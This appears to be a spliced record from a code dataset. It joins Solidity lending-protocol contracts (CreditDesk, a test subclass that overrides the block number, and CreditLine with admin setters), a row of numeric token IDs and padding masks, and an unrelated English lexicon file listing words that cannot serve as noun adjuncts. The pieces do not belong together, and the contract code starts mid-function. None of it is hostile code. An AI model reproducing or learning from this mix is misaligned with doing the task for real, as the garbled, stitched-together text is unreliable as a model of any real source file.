CreditLine cl,
uint256 balance,
uint256 interestOwed,
uint256 principalOwed
) internal nonReentrant {
subtractClFromTotalLoansOutstanding(cl);
cl.setBalance(balance);
cl.setInterestOwed(interestOwed);
cl.setPrincipalOwed(principalOwed);
// This resets lastFullPaymentBlock. These conditions assure that they have
// indeed paid off all their interest and they have a real nextDueBlock. (ie. creditline isn't pre-drawdown)
if (cl.interestOwed() == 0 && cl.nextDueBlock() != 0) {
// If interest was fully paid off, then set the last full payment as the previous due block
uint256 mostRecentLastDueBlock;
if (blockNumber() < cl.nextDueBlock()) {
uint256 blocksPerPeriod = cl.paymentPeriodInDays().mul(BLOCKS_PER_DAY);
mostRecentLastDueBlock = cl.nextDueBlock().sub(blocksPerPeriod);
} else {
mostRecentLastDueBlock = cl.nextDueBlock();
}
cl.setLastFullPaymentBlock(mostRecentLastDueBlock);
}
addCLToTotalLoansOutstanding(cl);
cl.setTermEndBlock(calculateNewTermEndBlock(cl));
cl.setNextDueBlock(calculateNextDueBlock(cl));
}
function getUSDCBalance(address _address) internal returns (uint256) {
return config.getUSDC().balanceOf(_address);
}
modifier onlyValidCreditLine(address clAddress) {
require(creditLines[clAddress] != address(0), "Unknown credit line");
_;
}
}
// SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
pragma experimental ABIEncoderV2;
import "../protocol/CreditDesk.sol";
contract TestCreditDesk is CreditDesk {
uint256 _blockNumberForTest;
function _setTotalLoansOutstanding(uint256 amount) public {
totalLoansOutstanding = amount;
}
function _setBlockNumberForTest(uint256 blockNumber) public {
_blockNumberForTest = blockNumber;
}
function blockNumber() internal view override returns (uint256) {
if (_blockNumberForTest == 0) {
return super.blockNumber();
} else {
return _blockNumberForTest;
}
}
function blockNumberForTest() public view returns (uint256) {
return blockNumber();
}
}
| solhint-disable-next-line max-states-count Credit line terms Accounting variables | contract CreditLine is BaseUpgradeablePausable {
address public borrower;
address public underwriter;
uint256 public limit;
uint256 public interestApr;
uint256 public paymentPeriodInDays;
uint256 public termInDays;
uint256 public lateFeeApr;
uint256 public balance;
uint256 public interestOwed;
uint256 public principalOwed;
uint256 public termEndBlock;
uint256 public nextDueBlock;
uint256 public interestAccruedAsOfBlock;
uint256 public writedownAmount;
uint256 public lastFullPaymentBlock;
function initialize(
address owner,
address _borrower,
address _underwriter,
uint256 _limit,
uint256 _interestApr,
uint256 _paymentPeriodInDays,
uint256 _termInDays,
uint256 _lateFeeApr
) public initializer {
require(owner != address(0) && _borrower != address(0) && _underwriter != address(0), "Zero address passed in");
__BaseUpgradeablePausable__init(owner);
borrower = _borrower;
underwriter = _underwriter;
limit = _limit;
interestApr = _interestApr;
paymentPeriodInDays = _paymentPeriodInDays;
termInDays = _termInDays;
lateFeeApr = _lateFeeApr;
interestAccruedAsOfBlock = block.number;
}
function setTermEndBlock(uint256 newTermEndBlock) external onlyAdmin {
termEndBlock = newTermEndBlock;
}
function setNextDueBlock(uint256 newNextDueBlock) external onlyAdmin {
nextDueBlock = newNextDueBlock;
}
function setBalance(uint256 newBalance) external onlyAdmin {
balance = newBalance;
}
function setInterestOwed(uint256 newInterestOwed) external onlyAdmin {
interestOwed = newInterestOwed;
}
function setPrincipalOwed(uint256 newPrincipalOwed) external onlyAdmin {
principalOwed = newPrincipalOwed;
}
function setInterestAccruedAsOfBlock(uint256 newInterestAccruedAsOfBlock) external onlyAdmin {
interestAccruedAsOfBlock = newInterestAccruedAsOfBlock;
}
function setWritedownAmount(uint256 newWritedownAmount) external onlyAdmin {
writedownAmount = newWritedownAmount;
}
function setLastFullPaymentBlock(uint256 newLastFullPaymentBlock) external onlyAdmin {
lastFullPaymentBlock = newLastFullPaymentBlock;
}
function setLateFeeApr(uint256 newLateFeeApr) external onlyAdmin {
lateFeeApr = newLateFeeApr;
}
function setLimit(uint256 newAmount) external onlyAdminOrUnderwriter {
limit = newAmount;
}
function authorizePool(address configAddress) external onlyAdmin {
GoldfinchConfig config = GoldfinchConfig(configAddress);
address poolAddress = config.getAddress(uint256(ConfigOptions.Addresses.Pool));
address usdcAddress = config.getAddress(uint256(ConfigOptions.Addresses.USDC));
bool success = IERC20withDec(usdcAddress).approve(poolAddress, uint256(-1));
require(success, "Failed to approve USDC");
}
modifier onlyAdminOrUnderwriter() {
require(isAdmin() || _msgSender() == underwriter, "Restricted to owner or underwriter");
_;
}
}
| 1,093,582 | [
1,
18281,
11317,
17,
8394,
17,
4285,
17,
1369,
943,
17,
7992,
17,
1883,
30354,
980,
6548,
6590,
310,
3152,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
16351,
30354,
1670,
353,
3360,
10784,
429,
16507,
16665,
288,
203,
225,
1758,
1071,
29759,
264,
31,
203,
225,
1758,
1071,
3613,
6299,
31,
203,
225,
2254,
5034,
1071,
1800,
31,
203,
225,
2254,
5034,
1071,
16513,
37,
683,
31,
203,
225,
2254,
5034,
1071,
5184,
5027,
382,
9384,
31,
203,
225,
2254,
5034,
1071,
2481,
382,
9384,
31,
203,
225,
2254,
5034,
1071,
26374,
14667,
37,
683,
31,
203,
203,
225,
2254,
5034,
1071,
11013,
31,
203,
225,
2254,
5034,
1071,
16513,
3494,
329,
31,
203,
225,
2254,
5034,
1071,
8897,
3494,
329,
31,
203,
225,
2254,
5034,
1071,
2481,
1638,
1768,
31,
203,
225,
2254,
5034,
1071,
1024,
30023,
1768,
31,
203,
225,
2254,
5034,
1071,
16513,
8973,
86,
5957,
1463,
951,
1768,
31,
203,
225,
2254,
5034,
1071,
2518,
329,
995,
6275,
31,
203,
225,
2254,
5034,
1071,
1142,
5080,
6032,
1768,
31,
203,
203,
225,
445,
4046,
12,
203,
565,
1758,
3410,
16,
203,
565,
1758,
389,
70,
15318,
264,
16,
203,
565,
1758,
389,
9341,
6299,
16,
203,
565,
2254,
5034,
389,
3595,
16,
203,
565,
2254,
5034,
389,
2761,
395,
37,
683,
16,
203,
565,
2254,
5034,
389,
9261,
5027,
382,
9384,
16,
203,
565,
2254,
5034,
389,
6408,
382,
9384,
16,
203,
565,
2254,
5034,
389,
20293,
14667,
37,
683,
203,
203,
203,
225,
262,
1071,
12562,
288,
203,
565,
2583,
12,
8443,
480,
1758,
12,
20,
13,
597,
389,
70,
15318,
264,
480,
1758,
12,
20,
13,
597,
389,
9341,
6299,
480,
1758,
12,
20,
3631,
2
] |
// CD->09.11.2015
wordentry_set CannotBeNounAdjunct=
{
eng_noun:passing{}, // The zing of the passing bullet.
eng_noun:how{},
eng_noun:why{},
eng_noun:where{},
eng_noun:what{}, // What units make sense?
eng_noun:fighting{},
eng_noun:working{},
eng_noun:Belgian{},
eng_noun:sinking{}, // With a sinking heart
eng_noun:rising{}, // A rising market.
eng_noun:not{},
eng_noun:domestic{},
eng_noun:open{},
eng_noun:two{},
eng_noun:three{},
eng_noun:four{},
eng_noun:five{},
eng_noun:six{},
eng_noun:eight{},
eng_noun:night{},
eng_noun:ten{},
eng_noun:married{},
eng_noun:nominal{},
eng_noun:different{},
eng_noun:singing{}, // Listen to that singing bird
eng_noun:calico{}, // A calico cat.
eng_noun:caloric{}, // The caloric content of foods.
eng_noun:deep{}, // The canicular heat of the Deep South.
eng_noun:carpetbag{}, // A carpetbag government.
eng_noun:cereal{}, // A cereal beverage.
eng_noun:municipal{}, // A municipal park.
eng_noun:clerical{}, // Clerical work.
eng_noun:Constitutional{}, // Constitutional walk.
eng_noun:military{}, // Military law
eng_noun:nominative{}, // Nominative noun endings
eng_noun:numeral{}, // A numeral adjective.
eng_noun:oral{}, // An oral vaccine.
eng_noun:vocal{}, // A vocal assembly.
eng_noun:verbal{}, // A verbal protest.
eng_noun:blank{}, // A blank stare.
eng_noun:comparable{}, // Pianists of comparable ability.
eng_noun:summary{}, // A summary formulation of a wide-ranging subject.
eng_noun:undecided{}, // Undecided voters
eng_noun:absolute{}, // Absolute freedom
eng_noun:rank{}, // A rank outsider.
eng_noun:total{}, // A total disaster.
eng_noun:incomplete{}, // An incomplete forward pass.
eng_noun:half{}, // She gave me a half smile.
eng_noun:partial{}, // A partial monopoly.
eng_noun:comprehensive{}, // A comprehensive survey.
eng_noun:broad{}, // An invention with broad applications.
eng_noun:cosmopolitan{}, // An issue of cosmopolitan import.
eng_noun:universal{}, // Universal experience.
eng_noun:plenary{}, // A plenary session of the legislature.
eng_noun:super{}, // A super experiment.
eng_noun:thick{}, // Thick hair
eng_noun:crisp{}, // A crisp retort.
eng_noun:cryptic{}, // A cryptic note.
eng_noun:determinate{}, // A determinate answer to the problem.
eng_noun:conditional{}, // Conditional acceptance of the terms.
eng_noun:provisional{}, // A provisional government.
eng_noun:blunt{}, // The blunt truth.
eng_noun:crude{}, // The crude facts.
eng_noun:identical{}, // Identical triangles
eng_noun:extreme{}, // Egality represents an extreme leveling of society.
eng_noun:national{}, // We support the armed services in the name of national security.
eng_noun:class{}, // National independence takes priority over class struggle.
eng_noun:connective{}, // Connective tissue in animals.
eng_noun:invincible{}, // Her invincible spirit.
eng_noun:votive{}, // Votive prayers.
eng_noun:Contradictory{}, // Contradictory attributes of unjust justice and loving vindictiveness
eng_noun:controversial{}, // A controversial decision on affirmative action.
eng_noun:spectacular{}, // A spectacular rise in prices.
eng_noun:constant{}, // A constant lover.
eng_noun:free{}, // A staunch defender of free speech.
eng_noun:creative{}, // Creative work.
eng_noun:formative{}, // A formative experience.
eng_noun:affirmative{}, // A controversial decision on affirmative action.
eng_noun:back{}, // The back hall is an inconvenient place for the telephone.
eng_noun:local{}, // Local customs
eng_noun:legal{}, // The legal profession
eng_noun:Judicial{}, // Judicial system
eng_noun:illative{}, // The illative faculty of the mind.
eng_noun:incendiary{}, // An incendiary fire
eng_noun:imperial{},
eng_noun:British{}, // The imperial gallon was standardized legally throughout the British Empire
eng_noun:humanist{}, // The humanist belief in continuous emergent evolution.
eng_noun:horary{}, // The horary cycle
eng_noun:home{}, // My home town
eng_noun:graphic{}, // A graphic presentation of the data
eng_noun:generic{}, // The generic name
eng_noun:existentialist{}, // The existentialist character of his ideas
eng_noun:fishy{}, // The soup had a fishy smell.
eng_noun:Byzantine{}, // Byzantine monks
eng_noun:Occipital{}, // Occipital bone
eng_noun:Angular{}, // Angular momentum
eng_noun:Educational{}, // Educational psychology
eng_noun:Developmental{}, // Developmental psychology
eng_noun:Epileptic{}, // Epileptic seizure
eng_noun:Transdermal{}, // Transdermal estrogen
eng_noun:sectional{}, // A sectional view
eng_noun:African{}, // African languages{}, // African languages
eng_noun:Anglican{}, // An Anglican bishop
eng_noun:Christian{}, // Christian rites
eng_noun:Dutch{}, // Dutch painting
eng_noun:Danish{}, // Danish furniture
eng_noun:Norwegian{}, // Norwegian herring
eng_noun:Swedish{}, // Swedish punch
eng_noun:Finnish{}, // Finnish architecture
eng_noun:Austrian{}, // Austrian music
eng_noun:Mormon{}, // Mormon leaders
eng_noun:Methodist{}, // Methodist theology
eng_noun:Lutheran{}, // Lutheran doctrines
eng_noun:Bavarian{}, // Bavarian beer
eng_noun:Cuban{}, // Cuban rum
eng_noun:Salvadoran{}, // Salvadoran coffee
eng_noun:Asian{}, // Asian countries
eng_noun:European{}, // European Community
eng_noun:Korean{}, // Korean handicrafts
eng_noun:Colombian{}, // Colombian coffee
eng_noun:Argentinian{}, // Argentinian tango
eng_noun:Venezuelan{}, // Venezuelan oil
eng_noun:Panamanian{}, // Panamanian economy
eng_noun:Ecuadorian{}, // Ecuadorian folklore
eng_noun:Peruvian{}, // Peruvian artifacts
eng_noun:Chilean{}, // Chilean volcanoes
eng_noun:Tibetan{}, // Tibetan monks
eng_noun:Paradigmatic{}, // Paradigmatic learning
eng_noun:Japanese{}, // Japanese cars
eng_noun:Chinese{}, // Chinese food
eng_noun:Slovenian{}, // Slovenian independence
eng_noun:Croatian{}, // Croatian villages
eng_noun:Protestant{}, // A Protestant denomination
eng_noun:physical{}, // A study of the physical properties of atomic particles
eng_noun:street{}, // Liverpudlian street urchins
eng_noun:Haitian{}, // Haitian shantytowns
eng_noun:Guatemalan{}, // Guatemalan coffee
eng_noun:Gothic{}, // Gothic migrations
eng_noun:Gabonese{}, // Gabonese hills
eng_noun:Franciscan{}, // Franciscan monks
eng_noun:Ethiopian{}, // Ethiopian immigrants
eng_noun:Empiric{}, // Empiric treatment
eng_noun:Dominican{}, // Dominican monks
eng_noun:creole{}, // creole cooking
eng_noun:Malawian{}, // Malawian hills
eng_noun:Macedonian{}, // Macedonian hills
eng_noun:Liverpudlian{}, // Liverpudlian streets
eng_noun:Lilliputian{}, // The Lilliputian population
eng_noun:Libyan{}, // The Libyan desert
eng_noun:inevitable{}, // The inevitable result.
eng_noun:metal{}, // The steady dripping of water rusted the metal stopper in the sink.
eng_noun:motive{}, // A motive force.
eng_noun:incurable{}, // An incurable optimist.
eng_noun:static{}, // A static population.
eng_noun:chemical{}, // A reversible chemical reaction.
eng_noun:social{}, // A rise in crime symptomatic of social breakdown.
eng_noun:rash{}, // A rash symptomatic of scarlet fever.
eng_noun:marginal{}, // The marginal strip of beach.
eng_noun:certifiable{}, // A certifiable fact.
eng_noun:third{}, // The third generation of computers.
eng_noun:regular{}, // The regular sequence of the seasons.
eng_noun:incandescent{}, // An incandescent bulb.
eng_noun:delicate{}, // His delicate health.
eng_noun:human{}, // The human condition.
eng_noun:family{}, // He charted his family tree genealogically.
eng_noun:metric{}, // The metric system
eng_noun:special{}, // a special antenna for public relations
eng_noun:public{}, // a special antenna for public relations
eng_noun:living{}, // The relatedness of all living things.
eng_noun:animal{}, // The animal constituent of plankton.
eng_noun:proverbial{}, // The proverbial grasshopper
eng_noun:capitalist{}, // A capitalist nation
eng_noun:Utopian{}, // A Utopian novel
eng_noun:ceramic{}, // A ceramic dish
eng_noun:industrial{}, // The industrial base of Japan
eng_noun:divine{}, // a sort of divine madness
eng_noun:reading{}, // A diagnostic reading test
eng_noun:diagnostic{}, // A diagnostic reading test
eng_noun:citrus{}, // The citrus production of Florida
eng_noun:Cameroonian{}, // The Cameroonian capital
eng_noun:Fijian{}, // The Fijian population
eng_noun:feudatory{}, // A feudatory relationship
eng_noun:Djiboutian{}, // A Djiboutian storyteller
eng_noun:modern{}, // Economics in its modern disciplinary sense
eng_noun:Mongolian{}, // The Mongolian embassy
eng_noun:indicative{}, // Indicative mood
eng_noun:Pre-Raphaelite{}, // The Pre-Raphaelite painters
eng_noun:polynomial{}, // A polynomial expression
eng_noun:Philharmonic{}, // Philharmonic players
eng_noun:Paralytic{}, // Paralytic symptoms
eng_noun:ruling{}, // The Qatari ruling family
eng_noun:rapid{}, // His rapid manner of talking
eng_noun:pharmaceutical{}, // The pharmaceutical industry
eng_noun:Partitive{}, // Partitive tendencies in education
eng_noun:Participial{}, // Participial inflections
eng_noun:Parthian{}, // Parthian archeology
eng_noun:Papuan{}, // Papuan vowels
eng_noun:native{}, // Papuan native crafts
eng_noun:Reversionary{}, // Reversionary interest
eng_noun:folk{}, // Romany folk songs
eng_noun:gypsy{}, // A Gypsy fortune-teller
eng_noun:Rwandan{}, // Rwandan mountains
eng_noun:shakedown{},
eng_noun:Pyrrhic{}, // A Pyrrhic victory
eng_noun:Quadratic{}, // Quadratic equation
eng_noun:Antiphonal{}, // Antiphonal laughter
eng_noun:Processional{}, // Processional music
eng_noun:procedural{}, // A procedural violation
eng_noun:Seychellois{}, // Seychellois fishermen
eng_noun:Senegalese{}, // Senegalese villages
eng_noun:regional{}, // Regional flora
eng_noun:Singaporean{}, // Singaporean rubber
eng_noun:Siberian{}, // Siberian coal miners
eng_noun:Zairean{}, // Zairean elections
eng_noun:Yemeni{}, // Yemeni mountains
eng_noun:wheaten{}, // wheaten bread
eng_noun:Welsh{}, // The Welsh coast
eng_noun:Vietnamese{}, // Vietnamese boat people
eng_noun:vestal{}, // Vestal virgin
eng_noun:tutorial{}, // Tutorial sessions
eng_noun:Trinidadian{}, // Trinidadian rum
eng_noun:Syphilitic{}, // Syphilitic symptoms
eng_noun:tertian{}, // Tertian fever
eng_noun:textile{}, // Textile research
eng_noun:fresh{}, // Crispness of fresh lettuce
eng_noun:spastic{}, // A spastic colon
eng_noun:mutual{}, // The mutual adhesiveness of cells
eng_noun:scalar{}, // Scalar quantity
eng_noun:acrocentric{}, // An acrocentric chromosome
eng_noun:metacentric{}, // A metacentric chromosome
eng_noun:communist{}, // Communist Party
eng_noun:Hypoglycemic{}, // Hypoglycemic agents
eng_noun:Hypodermic{}, // Hypodermic needle
eng_noun:Serbian{}, // the three possible classes of Serbian nouns
eng_noun:continental{}, // The continental divide
eng_noun:diatomic{}, // A diatomic molecule
eng_noun:genital{}, // Genital herpes
eng_noun:mural{}, // Mural painting
eng_noun:frontal{}, // Frontal rainfall
eng_noun:Juvenile{}, // Juvenile diabetes
eng_noun:Ecclesiastic{}, // Ecclesiastic history
eng_noun:Antediluvian{}, // Antediluvian man
eng_noun:floral{}, // Floral organs
eng_noun:professional{}, // Professional training
eng_noun:ocular{}, // An ocular organ
eng_noun:gnostic{}, // Gnostic writings
eng_noun:Lacteal{}, // Lacteal fluids
eng_noun:Funicular{}, // Funicular railway
eng_noun:fiducial{}, // A fiducial point
eng_noun:fiduciary{}, // A fiduciary contract
eng_noun:Mauritanian{}, // Mauritanian tropical fish
eng_noun:Machiavellian{}, // Machiavellian thinking
eng_noun:Liberian{}, // Liberian ship owners
eng_noun:Latin{}, // Latin verb conjugations
eng_noun:Iranian{}, // Iranian security police
eng_noun:Indo-European{}, // Indo-European migrations
eng_noun:Exponential{}, // Exponential growth
eng_noun:Italian{}, // Italian cooking
eng_noun:German{}, // German philosophers
eng_noun:Anglo-Saxon{}, // poetry
eng_noun:Laryngeal{}, // Laryngeal infection
eng_noun:viral{}, // Viral infection
eng_noun:commercial{}, // Commercial law
eng_noun:molar{}, // molar weight
eng_noun:iambic{}, // iambic pentameter
eng_noun:jugular{}, // jugular vein
eng_noun:vocative{}, // Vocative verb endings
eng_noun:subjunctive{}, // Subjunctive verb endings
eng_noun:optative{}, // Optative verb endings
eng_noun:facial{}, // A facial massage
eng_noun:intravenous{}, // An intravenous inflammation
eng_noun:rental{}, // A rental car
eng_noun:ritual{}, // A ritual dance of Haiti
eng_noun:personal{}, // personal verb endings
eng_noun:pastoral{}, // a pastoral letter
eng_noun:lyric{}, // the lyric stage
eng_noun:hematic{}, // A hematic cyst
eng_noun:wide{}, // That team needs a decent wide player
eng_noun:sylvan{}, // A shady sylvan glade
eng_noun:hostile{}, // Freeze the assets of this hostile government.
eng_noun:seven{}, // The prisoner's resistance weakened after seven days.
eng_noun:mnemonic{}, // the mnemonic device
eng_noun:woolen{}, // a woolen sweater
eng_noun:Akkadian{}, // Let's eliminate the course on Akkadian hieroglyphics.
eng_noun:octal{}, // An octal digit.
eng_noun:audile{}, // An audile person.
eng_noun:acoustic{}, // Acoustic properties of a hall
eng_noun:Mercurial{}, // The Mercurial canals.
eng_noun:musical{}, // A musical evening
eng_noun:twelve{}, // Here is a hen with twelve chickens
eng_noun:wild{}, // I see neither human nor wild animal
eng_noun:arithmetic{}, // Some type of arithmetic computations produces an invalid result that exceeds the range of the data type involved in the computation
eng_noun:eleven{}, // The bell at eleven o'clock tells us that lesson is finished
eng_noun:nine{}, // Richard slept until nine o'clock
eng_noun:Disciplinary{}, // Disciplinary problems in the classroom
eng_noun:tatty{}, // An old house with dirty windows and tatty curtains
eng_noun:Antipodal{}, // Antipodal regions of the earth
eng_noun:reproductive{}, // Urbanization in Spain is distinctly correlated with a fall in reproductive rate.
eng_noun:luxury{}, // Sales of luxury cars dropped markedly.
eng_noun:several{}, // He gave liberally to several charities.
eng_noun:medical{}, // Amazingly, he finished medical school in three years.
eng_noun:all{}, // Visit us by all means.
eng_noun:prepositional{}, // The prepositional phrase here is used adverbially.
eng_noun:genitive{}, // The genitive noun is used attributively.
eng_noun:natural{}, // A natural conclusion follows thence.
eng_noun:global{}, // Greenspan's fraud: how two decades of his policies have undermined the global economy
eng_noun:Georgian{}, // The Georgian capital is Tbilisi.
eng_noun:final{}, // The final runners were far behind.
eng_noun:ninth{}, // The ninth century was the spiritually freest period.
eng_noun:iron{}, // That iron gate is made of iron that came from England
eng_noun:stone{}, // The moss undergrew the stone patio.
eng_noun:enemy{}, // The landscape was deforested by the enemy attacks.
eng_noun:remote{}, // The remote areas of the country were gradually built up.
eng_noun:upper{}, // This exercise will strengthen your upper body.
eng_noun:following{}, // Develop the function in the following form.
eng_noun:stock{}, // The stock market fluctuates.
eng_noun:sudden{}, // The sudden storm immobilized the traffic.
eng_noun:entire{}, // The bureaucracy paralyzes the entire operation.
eng_noun:political{}, // Reform a political system.
eng_noun:extra{}, // Add some extra plates to the dinner table.
eng_noun:plastic{}, // The temple was garishly decorated with bright plastic flowers.
eng_noun:bright{}, // The temple was garishly decorated with bright plastic flowers.
eng_noun:basic{}, // He light-heartedly overlooks some of the basic facts of life.
eng_noun:black{}, // She danced the part of the Black Swan very lyrically.
eng_noun:main{}, // He drove down the main road
eng_noun:next{}, // The boy in the next desk borrowed my pencil
eng_noun:first{}, // The first job is already done.
eng_noun:sweet{}, // These small apples have a SWEET taste
eng_noun:and{}, // the hammer AND sickle
eng_noun:will{}, // The boy WILL play with another dog
eng_noun:best{}, // He is my best friend
eng_noun:good{}, // He is a good player
eng_noun:big{}, // The big dog chased me
eng_noun:simple{},
eng_noun:invalid{}, // an invalid result exceeds the range of the data type involved in the computation
eng_noun:sharp{}, // A sharp knife cuts cleanly.
eng_noun:early{}, // An early riser gets up early.
eng_noun:straight{}, // Run in a straight line.
eng_noun:whole{}, // I ate a whole fish
eng_noun:new{}, // Have you seen my new bicycle?
eng_noun:second{}, // We were in the second class last year
eng_noun:small{}, // The small boy rings the bell
eng_noun:great{}, // The ship sank in the great storm
eng_noun:heavy{}, // Henry can lift that heavy box
eng_noun:past{}, // Don't sentimentalize the past events.
eng_noun:an{}, // We have an hour to burn.
eng_noun:running{}, // The running horse galloped down the road
eng_noun:one{},
eng_noun:no{},
eng_noun:yesterday{}, // I did the work yesterday
eng_noun:English{}, // He has an English book
eng_noun:Russian{},
eng_noun:French{}, // She spoke English with a French accent
eng_noun:Greek{}, // Ultimately, I have been studying Greek at evening classes.
eng_noun:particular{}, // Let's abstract away from this particular example.
eng_noun:over{}, // Let me think that over.
eng_noun:each{}, // Each partition acts like a separate hard drive
eng_noun:separate{}, // Each partition acts like a separate hard drive
eng_noun:hard{}, // Each partition acts like a separate hard drive
eng_noun:high{}, // The headmaster's desk stood on a high platform
eng_noun:right{}, // We didn't know the right time
eng_noun:white{}, // I see the big white cat
eng_noun:stupid{}, // a very stupid dog
eng_noun:most{}, // Most flare stars are dim red dwarfs
eng_noun:out{}, // Wrap the baby before taking her out.
eng_noun:at{},
eng_noun:clean{}, // The thieves made a clean getaway.
eng_noun:fine{}, // Don't sign a contract without reading the fine print.
eng_noun:wet{}, // The wet road was shining sleekly.
eng_noun:temporary{}, // The temporary camps were inadequately equipped.
eng_noun:single{}, // A single chicken was scratching forlornly in the yard.
eng_noun:thin{}, // The dress hung shapelessly on her thin body.
eng_noun:kind{}, // I must regretfully decline your kind invitation.
eng_noun:setting{}, // They traveled westward toward the setting sun.
eng_noun:former{}, // He treats his former wife civilly.
eng_noun:blue{}, // Birds flew zigzag across the blue sky.
eng_noun:relative{}, // This relative clause is used restrictively.
eng_noun:cold{},
eng_noun:common{}, // A common remedy is uncommonly difficult to find.
eng_noun:red{}, // I have two RED apples
eng_noun:lightning{},
eng_noun:hanging{},
eng_noun:cunning{},
eng_noun:dancing{},
eng_noun:foreboding{},
eng_noun:bearing{},
eng_noun:listing{},
eng_noun:standing{},
eng_noun:knowing{},
eng_noun:ongoing{},
eng_noun:fitting{},
eng_noun:mounting{},
eng_noun:ranking{},
eng_noun:thieving{},
eng_noun:cooking{},
eng_noun:pleading{},
eng_noun:travelling{},
eng_noun:testing{},
eng_noun:nursing{},
eng_noun:upbraiding{},
eng_noun:blinding{},
eng_noun:trotting{},
eng_noun:greening{},
eng_noun:whacking{},
eng_noun:vining{},
eng_noun:grudging{},
eng_noun:upset{},
eng_noun:evening{},
eng_noun:brown{},
eng_noun:adjective{},
eng_noun:adjectival{},
eng_noun:Fabian{},
eng_noun:abbreviate{},
eng_noun:abject{},
eng_noun:abluent{},
eng_noun:abortive{},
eng_noun:above{},
eng_noun:absolutist{},
eng_noun:abstractionist{},
eng_noun:Accadian{},
eng_noun:acceptant{},
eng_noun:Achean{},
eng_noun:orange{},
eng_noun:singular{},
eng_noun:andante{},
eng_noun:urban{},
eng_noun:mobile{},
eng_noun:wireless{},
eng_noun:epidemic{},
eng_noun:welcome{},
eng_noun:automatic{},
eng_noun:abstergent{},
eng_noun:absurd{},
eng_noun:general{},
eng_noun:Yiddish{},
eng_noun:Indian{},
eng_noun:Jacobian{},
eng_noun:minuscule{},
eng_noun:Slovene{},
eng_noun:gold{},
eng_noun:magenta{},
eng_noun:dual{},
eng_noun:weekend{},
eng_noun:counterfeit{},
eng_noun:parallel{},
eng_noun:pi{},
eng_noun:X - ray{},
eng_noun:antecedent{},
eng_noun:imperative{},
eng_noun:irregular{},
eng_noun:Castilian{},
eng_noun:pommy{},
eng_noun:quadrilateral{},
eng_noun:northeast{},
eng_noun:honey{},
eng_noun:male{},
eng_noun:anterior{},
eng_noun:collateral{},
eng_noun:weekly{},
eng_noun:quarterly{},
eng_noun:fuchsia{},
eng_noun:khaki{},
eng_noun:coral{},
eng_noun:lavender{},
eng_noun:olive{},
eng_noun:sienna{},
eng_noun:teal{},
eng_noun:taupe{},
eng_noun:amber{},
eng_noun:grape{},
eng_noun:avocado{},
eng_noun:auburn{},
eng_noun:buff{},
eng_noun:overweight{},
eng_noun:Melburnian{},
eng_noun:polycystine{},
eng_noun:canary{},
eng_noun:slim{},
eng_noun:Romanian{},
eng_noun:transgender{},
eng_noun:Muslim{},
eng_noun:blond{},
eng_noun:blonde{},
eng_noun:archaic{},
eng_noun:ideal{},
eng_noun:then{},
eng_noun:diminutive{},
eng_noun:ephemeral{},
eng_noun:stiff{},
eng_noun:fricative{},
eng_noun:cuckoo{},
eng_noun:short{},
eng_noun:salt{},
eng_noun:rough{},
eng_noun:sand{},
eng_noun:flame{},
eng_noun:horizontal{},
eng_noun:totalitarian{},
eng_noun:selenoid{},
eng_noun:flash{},
eng_noun:Ukrainian{},
eng_noun:objective{},
eng_noun:spoony{},
eng_noun:transsexual{},
eng_noun:upcast{},
eng_noun:incorrigible{},
eng_noun:reprehensible{},
eng_noun:Angolan{},
eng_noun:instrumental{},
eng_noun:maslin{},
eng_noun:dank{},
eng_noun:Faeroese{},
eng_noun:Hispano{},
eng_noun:acataleptic{},
eng_noun:alert{},
eng_noun:eclectic{},
eng_noun:precedent{},
eng_noun:intuitive{},
eng_noun:essential{},
eng_noun:Australian{},
eng_noun:quorate{},
eng_noun:hangdog{},
eng_noun:magic{},
eng_noun:due{},
eng_noun:alpha{},
eng_noun:beta{},
eng_noun:crazy{},
eng_noun:premier{},
eng_noun:sulfur{},
eng_noun:invertebrate{},
eng_noun:extraterrestrial{},
eng_noun:republican{},
eng_noun:neurotic{},
eng_noun:quick{},
eng_noun:Transylvanian{},
eng_noun:Tasmanian{},
eng_noun:Boolean{},
eng_noun:individual{},
eng_noun:Muscovite{},
eng_noun:psycho{},
eng_noun:ordinary{},
eng_noun:brash{},
eng_noun:maximum{},
eng_noun:micro{},
eng_noun:acerate{},
eng_noun:vegan{},
eng_noun:Saturnian{},
eng_noun:libertarian{},
eng_noun:characteristic{},
eng_noun:center{},
eng_noun:aqua{},
eng_noun:nonflammable{},
eng_noun:yearly{},
eng_noun:unknown{},
eng_noun:sandwich{},
eng_noun:hundred - first{},
eng_noun:hundred{},
eng_noun:Aruban{},
eng_noun:Azerbaijani{},
eng_noun:Bangladeshi{},
eng_noun:Belizean{},
eng_noun:Beninese{},
eng_noun:barbarian{},
eng_noun:Nigerien{},
eng_noun:Mauritian{},
eng_noun:Cambodian{},
eng_noun:Iraqi{},
eng_noun:Zimbabwean{},
eng_noun:Ugandan{},
eng_noun:Tuvaluan{},
eng_noun:Caymanian{},
eng_noun:Maldivian{},
